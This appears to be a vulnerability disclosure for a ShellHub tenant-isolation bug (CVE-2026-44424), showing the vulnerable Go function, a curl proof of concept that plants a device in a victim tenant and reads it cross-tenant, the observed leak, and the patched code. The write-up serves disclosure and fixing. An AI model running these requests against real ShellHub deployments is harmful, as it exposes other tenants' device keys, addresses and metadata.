ShellHub CVE-2026-44424

  func (s *service) GetDevice(ctx context.Context, uid models.UID) (*models.Device, error) {
      device, err := s.store.DeviceResolve(ctx, store.DeviceUIDResolver, string(uid))
      // ⚠️ missing: s.store.Options().InNamespace(tenant)
      ...
  }

  ATTACKER_TOKEN=$(curl -s -X POST http://target/api/login \
    -H 'Content-Type: application/json' \
    -d '{"username":"attacker","password":"..."}' | jq -r .token)

  TARGET_TENANT="<victim-tenant-uuid>"
# Plant a device in the victim tenant via the public device-auth endpoint
# (this also works when the victim already has devices and the attacker
# merely guessed/obtained a real UID via another vector)
  VICTIM_UID=$(curl -s -X POST http://target/api/devices/auth \
    -H 'Content-Type: application/json' \
    -d "{
      \"info\":{\"id\":\"x\",\"pretty_name\":\"x\",\"version\":\"v0.24.1\",\"arch\":\"amd64\",\"platform\":\"docker\"},
      \"hostname\":\"poc\",
      \"identity\":{\"mac\":\"aa:bb:cc:dd:ee:ff\"},
      \"public_key\":\"-----BEGIN RSA PUBLIC KEY-----\\nx\\n-----END RSA PUBLIC KEY-----\",
      \"tenant_id\":\"$TARGET_TENANT\"
    }" | jq -r .uid)
# Read the device from a completely different tenant
  curl -i "http://target/api/devices/$VICTIM_UID" \
    -H "Authorization: Bearer $ATTACKER_TOKEN"
# Expected (fixed):   HTTP 403/404
# Observed (v0.24.1): HTTP 200 + full device JSON (tenant_id, public_key, MAC,
#                     namespace name, OS info, last_seen, remote_addr, ...)

  func (s *service) GetDevice(ctx context.Context, uid models.UID) (*models.Device, error) {
      tenant := gateway.TenantFromContext(ctx)
      opts := []store.QueryOption{}
      if tenant != nil {
          opts = append(opts, s.store.Options().InNamespace(tenant.ID))
      }
      device, err := s.store.DeviceResolve(ctx, store.DeviceUIDResolver, string(uid), opts...)
      ...
  }